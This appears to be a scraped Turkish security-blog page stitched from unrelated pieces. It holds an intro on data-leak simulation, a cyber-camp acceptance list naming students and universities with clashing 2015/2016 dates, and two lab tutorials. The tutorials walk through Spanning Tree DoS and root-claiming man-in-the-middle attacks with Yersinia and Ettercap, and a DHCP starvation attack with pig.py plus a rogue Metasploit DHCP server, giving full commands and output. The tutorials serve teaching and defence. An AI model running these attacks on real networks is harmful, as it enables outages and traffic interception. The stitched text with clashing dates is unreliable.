En tehlikeli siber saldırılar, şüphesiz ki sonucunda veri sızıntısının yaşandığı senaryolardır. Normal bir güvenlik zafiyetinin yanında çok daha maliyetli ve telafisi zor bir durumdur. Örneğin bir finans kurumundan müşteri kredi kartı ya da kimlik bilgilerininin dışarı çıkarılması ciddi problemlere yol açacaktır. Böyle bir durumun yaşanmaması için sadece sızma testlerinin yapılmış olması yeterli olmayabilir. Kurum içinde bu tarz atak senaryolarının simülasyonlarının gerçekleştirilmesi, saldırının tespit edilip edilemeyeceği konusunda kuruma fayda sağlayacaktır.  Böylece SIEM ekipleri olayın senaryosuna uygun aksiyon planlarını alıp gerekli kolerasyon çalışmalarını yapacaklardır.
Siber Güvenlik Yaz Kampı için 16 Ağustos 2015 Pazar günü gerçekleştirilen sınav sonucunda Kampa Katılmaya hak kazanan öğrencilerimize ait liste aşağıda yer almaktadır. Asıl listede yer alan katılımcılardan 20 Ağustos 2016 Perşembe Günü saat 18.00 a kadar kampa katılma durumlarını bildirecek şekilde bilgi@siberkamp.org adresime mail atmaları gerekmektedir.

Belirtilen gün ve saate kadar belgelerini ve başvurularını yapmayan asil listedeki adaylar haklarını kaybetmiş olacak ve yedek listedeki adaylara çağrı yapılacaktır.

Kampa katılmaya hak kazanan öğrencilere kamp ile ilgili detay bilgilendirme ve kampa katılım için gerekli belgelerin hangileri olduğu e-posta ile gönderilecektir.

Siber Güvenlik Yaz Kampı 2015 Asil Liste:


Ad-Soyad
Üniversite
AHMET KUTLUANA
Hacettepe Üniversitesi
CÜNEYT SINA KOCA
Orta Doğu Teknik Üniversitesi
FATIH ÖZEL
Süleyman Demirel Üniversitesi
BERKAY KARAGÖZ
İstanbul Teknik Üniversitesi
CEMALETTIN ÇİFTÇİ
Kocaeli Üniversitesi
EMIR İLHAN
Hacettepe Üniversitesi
SELAHATTIN POLAT
Orta Doğu Teknik Üniversitesi
BERKAY TUNCEL
İstanbul Teknik Üniversitesi
ERTUĞRUL DALBOY
İstanbul Teknik Üniversitesi
ISMAIL POLAT
Şehir Üniversitesi
OZAN ZORLU
Hava Harp Okulu Havacılık ve Uzay Teknolojileri Enstitüsü
FARUK ÜNAL
İstanbul Teknik Üniversitesi
EMRE ERGINER
İstanbul Teknik Üniversitesi
ÖZLEM ADEMOĞLU
İstanbul Teknik Üniversitesi
MUHAMMED TAYYIB KILIÇ
Fatih Üniversitesi
ASLI TAŞ
Beykent Üniversitesi
HÜSNÜ İŞLEYEN
Pamukkale Üniversitesi
MEHMET AHSEN OZBEY
Pamukkale Üniversitesi
ENIS ÖZGEN
Pamukkale Üniversitesi
TAMER SAY
Karabük Üniversitesi


Yedek Liste:

Ad-Soyad
Üniversite
NASRULLAH KANCURA
Gebze Teknik Üniversitesi
RAMAZAN UYSAL
Bilkent Üniversitesi
CANER ÇIFTÇI
İstanbul Teknik Üniversitesi





Kampa başvuru yapıp değerlendirme sınavına giren tüm öğrenci arkadaşları tebrik ederiz.


Spanning Tree Protokolü Nedir?

Spanning Tree Protokolü(STP) karmaşık ağ topolojilerinde Katman 2 cihazlarının(Switch), birbiriyle haberleşmesi sırasında meydana gelebilecek sonsuz döngüleri(loop) engelleyen bir Katman 2 protokolüdür. STP, döngüleri engellemek için switch üzerinde bulunan bazı portları bloke durumuna(Block State) getirmektedir. Switchler, port durumlarını(Port State) değiştirecek STP bilgilerini Bridge Protocol Data Unit aracılığıyla paylaşmaktadır.
Tüm Katman 2 cihazları birbirleriyle Bridge Protocol Data Unit(BPDU) adı verilen özel çerçeveler(frame) aracılığıyla haberleşmektedir. Çerçeveler,  döngülerin oluşmasını engelleyecek ve bunu sürekli kılacak gerekli parametreleri içermektedir(root switch ID, gönderen switch ID, root switch’e uzaklık). BPDU çerçeveleri root olarak seçilmiş switchten 2sn’de(varsayılan hello time süresidir) bir diğer switchlere gönderilmektedir.


stp1.png  stp2.png  stp3.png
Topolojinin Gerçek Hali       Port Durumlarının Hesaplanmış Hali        Ağaç Gösterimi


Spanning-tree protokolüne yönelik saldırılar BPDU çerçevelerinin manipüle edilmesiyle ortaya çıkmaktadır. Uygulaması yapılacak saldırı türleri DoS Saldırısı ve Man in the Middle Saldırısı olacaktır.
Saldırılar Yersinia kullanılarak gerçekleştirilecektir.


1.Spanning-tree Protokolü DoS Saldırı Yöntemi


Spanning-tree protokolünün aktif olduğu bir ağ topolojisinde saldırgan tarafından gönderilen çok sayıda ‘BPDU Configuration’ paketleri ile ağı bir süreliğine servis dışı bırakmak mümkün olmaktadır.


Verilen topolojide ‘ubuntu’ ve ‘win’ makineleri arasındaki haberleşmenin bir süreliğine kesilmesi amaçlanmaktadır.
Screenshot from 2015-07-23 12:21:22.png

stpdos1.png


Screenshot from 2015-07-23 12:52:05.png


Screenshot from 2015-07-23 12:40:52.png


Görüldüğü üzere iki makine arasındaki haberleşme saldırı sırasında(yaklaşık 30sn) kesilmektedir. Saldırı devam ettiği sürede saniyede yaklaşık 3000 paket gönderilmektedir.


2.Spanning-tree Protokolü Man-in-the-Middle Saldırı Yöntemi


Spanning Tree Protokolünün görevi, karmaşık bir ağ topolojisinde döngüleri engellemek ve buna göre döngüye sebep olacak portları Bloke durumuna getirmektir. Bu yüzden ağ üzerinde dolaşan paketlerin izleyeceği alternatif yol sayısı kalmayacaktır. Bu noktada, eğer saldırgan root switch rolünü üstlenirse tüm trafiği izleme yetkisine erişebilmektedir.


Screenshot from 2015-07-23 17:39:56.png


Screenshot from 2015-07-23 17:56:09.png

Örnek topoloji(yukarıda) incelendiğinde saldırgan ağa dahil olmadan önce Spanning-tree protokolü son hesaplamalarıyla şekildeki ağaç yapısında bulunmaktadır.





Screenshot from 2015-07-23 17:53:50.png

   Saldırgan(kali) iki switch arasında bağlantı kurduktan sonra bir döngü problemi oluşmaktadır(ESW4-ESW5-kali). Bu durumda saldırgan Root Rolünü üstlendiğinde ESW4 ve ESW5 switchler arasındaki portlar bloke durumuna geçmektedir.




Bir önceki şemada da görüldüğü gibi bu saldırı için iki ethernet kartına ihtiyaç duyulmaktadır. Salgırganın üzerinden geçen trafiği dinlemek için Ettercap kullanılmaktadır. Saldırı için ise Yersinia programıyla Root Rolünü Talep Etmek(Claiming Root Role) methodu kullanılmaktadır. Saldırı başlatıldığında saldırganın makinesi switch gibi davranıp kendisini Root Switch olarak gösteren bir ‘BPDU Configuration’ paketi yayınlar.


Uygulama


Yersinia interaktif modda başlatılır.


~# yersinia -I
Program STP modda başlamaktadır.
‘i’ tuşuna basarak mevcut olan iki arayüzü de ‘ON’ konumuna getirilir.
Screenshot from 2015-07-23 23:04:58.png


Saldırı türünü seçmek için ‘x’ tuşuna basılır. ‘Claiming Root Role’ seçilerek saldırı başlatılır.


Screenshot from 2015-07-23 23:21:28.png


Trafiği dinlemek üzere Ettercap başlatılır.


~# ettercap -G


‘Bridge Sniffing’ özelliği başlatılır. Böylece saldırgan makinesindeki iki ağ arayüzü arasındaki trafik, dolayısıyla makine üzerinden geçen trafik izlenmiş olacaktır.


Screenshot from 2015-07-24 11:05:01.pngScreenshot from 2015-07-24 11:05:18.png



Screenshot from 2015-07-24 11:06:04.png


Yazar: Barış DURKUT
Dynamic Host Configuration Protocol, istemcilere(client) IP Adres, Ağ Maskesi(Ağ Maskesi), DNS Sunucusu, Varsayılan Ağ Geçidi(Default Gateway) gibi ayar bilgilerini otomatik olarak sağlayan bir istemci/sunucu protokolüdür. DHCP Starvation saldırısı ile bir ağın DHCP Sunucusu’ı cevap veremez ve IP dağıtamaz hale gelebilmektedir. Hemen ardından saldırgan tarafından kurulacak olan Sahte DHCP Sunucusu ile ise ağdaki yeni istemcilerin DNS, ağ geçidi gibi adres bilgilerini saldırganın amacı doğrultusunda dağıtmak mümkün olmaktadır.
           
DHCP Starvation Saldırı Yöntemi: Eğer ağa fazlasıyla DHCPRequest paketi gönderildiyse saldırgan, DHCP Sunucusunu dağıtmak için ayırdığı adresleri uzun bir süre meşgul edebilmektedir. Böylece hedef alınan ağdaki istemcilerin DHCP havuzu kaynakları kullanılamaz hale gelmektedir. Bu yüzden DHCP Starvation, DOS saldırısı olarak adlandırılmaktadır.
Sahte DHCP Sunucusu: DHCP Starvation saldırısı ardından, saldırgan bir Sahte DHCP Sunucusu kurabilmekte ve ‘man in the middle’ saldırılarını düzenleyebilmektedir veya kendi makinesini varsayılan ağ geçidi olarak ayarlayıp trafiği izleyebilmektedir.
            
Sahte DHCP Sunucusu, saldırgan tarafından hedef ağ üzerinde kurulmuş bir DHCP Sunucusudur. Sahte DHCP Sunucuları genellikle hedef ağ üzerinde MITM, sniffing gibi saldırılar için kullanılabilmektedir.

Resim Kaynağı: http://mars.merhot.dk/mediawiki/index.php/CCNP_SWITCH/Securing_the_Campus_Infrastructure


pig.py aracıyla DHCP Starvation saldırısı yaparak ağdaki gerçek DHCP Sunucusu cevap veremez hale getirilebilmektedir. Böylece ağdaki yeni istemcilere dağıtılacak uygun ip adresi kalmamış olmaktadır. Bu saldırı türü, ağda bulunan istemcilerin uzun süreli çevrimiçi olduğu durumlarda oldukça etkili olmaktadır. Aksi takdirde saldırıyı belli aralıklarda tekrarlamak gerekmektedir.

            Uygulama

İlk olarak hedef ağın Ağ Maskesi, DNS Sunucusu ve Ağ Geçidi bilgileri keşfedilir. Daha sonra arayüzü(eth0) ağda kullanılmayan bir ip adresi bularak ayarlanır. Örnek lab ortamında ağ bilgileri aşağıdaki gibidir:
  • Ağ Maskesi: 255.255.255.0
  • Varsayılan Yönlendirici(Router) Adresi: 10.1.10.1

root@kali:~# ifconfig eth0 10.1.10.10 netmask 255.255.255.0

Varsayılan Ağ Geçidi olarak kullanılacak bir alt-arayüz(alt-arayüz) oluşturulur(eth0:1).
Alt-arayüz için de kullanılmayan bir ip adresi ayarlanır. Bu arayüzü Varsayılan Yönlendirici Adresi olarak kullanacağımız için ip adresi seçiminde Varsayılan Ağ Geçidi 10.1.10.1 ise bir alt-arayüzü 10.1.10.11 olarak ayarlamak ilk bakışta daha az dikkat çekici olabilmektedir.


root@kali:~# ifconfig eth0:1 10.1.10.11 netmask 255.255.255.0
root@kali:~# ifconfig
eth0     Link encap:Ethernet  HWaddr 00:00:5e:00:01:0a  
            inet addr:10.1.10.10  Bcast:10.255.255.255  Mask:255.0.0.0
            inet6 addr: fe80::200:5eff:fe00:10a/64 Scope:Link
            UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
            RX packets:2373 errors:0 dropped:0 overruns:0 frame:0
            TX packets:3053 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:1000
            RX bytes:262926 (256.7 KiB)  TX bytes:277272 (270.7 KiB)

eth0:1 Link encap:Ethernet  HWaddr 00:00:5e:00:01:0a  
            inet addr:10.1.10.11  Bcast:10.1.10.255  Mask:255.255.255.0
            UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1

Bu noktada saldırganın makinesinde ip yönlendirmeye izin verilir. (alt-arayüz ve ‘ip_forwarding’ ayarları makinenin yeniden başlaması halinde kaybolmaktadır.)

root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward

Sonraki adım olarak alt-arayüzün(eth0:1) Varsayılan Ağ Geçidiini ayarlanmalıdır. Alt-arayüzün Varsayılan Ağ Geçidi, hedef ağın gerçek Varsayılan Ağ Geçidi olarak ayarlanır(10.1.10.1). İstemciler için Varsayılan Ağ Geçidi olan Kali makinesi aynı zamanda Varsayılan Yönlendirici görevi görür. 

Bunun anlamı Varsayılan Ağ Geçidi 10.1.10.11 olan istemcilerin trafiği saldırganın makinesine ulaşmaktadır. Hemen ardından ağın gerçek Varsayılan Ağ Geçidine(10.1.10.1) yönlendirilmektedir.

root@kali:~# route add default gw 10.1.10.1 eth0:1

‘route -n’ komutu, yönlendirme tablosu(Route Table) ekrana yansıtılır. Destination(0.0.0.0), yeni herhangi bir trafiğin direk olarak Ağ Geçidi(10.1.10.1)’e gönderilmesini göstermektedir.

root@kali:~# route -n
Kernel IP routing table
Destination      Gateway         Genmask         Flags   Metric  Ref  Use  Iface
0.0.0.0             10.1.10.1         0.0.0.0             UG       0          0      0      eth0
...

Terminalde farklı bir tab açılarak ‘metasploit’ başlatılır. Ardından Sahte DHCP Sunucusu ayarları yapılır.


root@kali:~# msfconsole

DHCP modülü başlatılır. ‘show options’ komutu ile ekrana girilmesi gereken parametreler ve açıklamaları yazdırılır.


msf > use auxiliary/server/dhcp
msf auxiliary(dhcp) > show options

Module options (auxiliary/server/dhcp):

  Name             Current Setting  Required  Description
  ----                 ---------------  --------  -----------
  BROADCAST                        no        The broadcast address to send to
  DHCPIPEND                            no        The last IP to give out
  DHCPIPSTART                       no        The first IP to give out
  DNSSERVER                         no        The DNS server IP address
  DOMAINNAME                       no        The optional domain name to assign
  FILENAME                              no        The optional filename of a tftp boot server
  HOSTNAME                           no        The optional hostname to assign
  HOSTSTART                         no        The optional host integer counter
  NETMASK                              yes      The netmask of the local subnet
  ROUTER                                no        The router IP address
  SRVHOST                             yes      The IP of the DHCP server

DHCPIPSTART ve DHCPIPEND parametreleri Sahte DHCP Sunucusunun dağıtacağı ip aralığını belirlemektedir. Bu yüzden önceden keşfedilen ağda kullanılmayan bir ip aralığı girilmelidir.


msf auxiliary(dhcp) > set broadcast 10.1.10.255
broadcast => 10.1.10.255
msf auxiliary(dhcp) > set dhcpipend 10.1.10.199
dhcpipend => 10.1.10.199
msf auxiliary(dhcp) > set dhcpipstart 10.1.10.101
dhcpipstart => 10.1.10.101
msf auxiliary(dhcp) > set dnsserver 8.8.8.8
dnsserver => 8.8.8.8
msf auxiliary(dhcp) > set netmask 255.255.255.0
netmask => 255.255.255.0
msf auxiliary(dhcp) > set router 10.1.10.11
router => 10.1.10.11
msf auxiliary(dhcp) > set srvhost 10.1.10.10
srvhost => 10.1.10.10

Gerekli parametrelerin verilmesinden sonra son durum aşağıdaki gibi olmaktadır.

msf auxiliary(dhcp) > show options

Module options (auxiliary/server/dhcp):

  Name                        Current Setting  Required     Description
  ----                             ---------------         --------         -----------
  BROADCAST            10.1.10.255          no              The broadcast address to send to
  DHCPIPEND    10.1.10.199          no              The last IP to give out
  DHCPIPSTART       10.1.10.101              no              The first IP to give out
  DNSSERVER 8.8.8.8                  no              The DNS server IP address
  DOMAINNAME                                      no     The optional domain name to assign
  FILENAME                                             no     The optional filename of a tftp boot server
  HOSTNAME                                          no     The optional hostname to assign
  HOSTSTART                                         no                The optional host integer counter
  NETMASK               255.255.255.0         yes            The netmask of the local subnet
  ROUTER                   10.1.10.11            no              The router IP address
  SRVHOST                10.1.10.10            yes            The IP of the DHCP server

DHCP Starvation saldırısı başlamadan önce ağdaki herhangi bir istemcinin Varsayılan Ağ Geçidi 10.1.10.1 olarak gözükmektedir.


Ethernet adapter Local Area Connection:

  Connection-specific DNS Suffix  . :
  Link-local IPv6 Address . . . . . : fe80::9907:e380:13fe:5c6c%5
  IPv4 Address. . . . . . . . . . . : 10.1.10.203
  Subnet Mask . . . . . . . . . . . : 255.255.255.0
  Default Gateway . . . . . . . . . : 10.1.10.1

Sahte DHCP Sunucusunun ayarları yapılmış ve başlatılmak için bekletilirken DHCP Starvation saldırısı başlatılır.


‘pig.py eth0:1’ komutunu çalıştırılır.


root@kali:~# pig.py eth0:1
WARNING: No route found for IPv6 destination :: (no default route?)
[ -- ] [INFO] - using interface eth0:1
[DBG ] Thread 0 - (Sniffer) READY
[DBG ] Thread 1 - (Sender) READY
[--->] DHCP_Discover
[--->] DHCP_Discover
[--->] DHCP_Discover
[<---] DHCP_Offer    cc:01:62:9d:00:00    0.0.0.0    IP: 10.1.10.251 for MAC=[de:ad:21:3b:c5:df]
[--->] DHCP_Request  10.1.10.251
...

Ardından Sahte DHCP Sunucusu başlatılır.

msf auxiliary(dhcp) > run
[*] Auxiliary module execution completed

[*] Starting DHCP server...

Artık ağa yeni bağlanacak olan istemci, Kali makinedeki Sahte DHCP Sunucusundan ip almaktadır.


Ethernet adapter Local Area Connection:

  Connection-specific DNS Suffix  . :
  Link-local IPv6 Address . . . . . : fe80::9907:e380:13fe:5c6c%5
  IPv4 Address. . . . . . . . . . . : 10.1.10.102
  Subnet Mask . . . . . . . . . . . : 255.255.255.0
  Default Gateway . . . . . . . . . : 10.1.10.11


Bu noktadan sonra man in the middle yöntemiyle trafiği takip etmek mümkün olmaktadır.

Yazar: Barış DURKUT



UA-17586270-1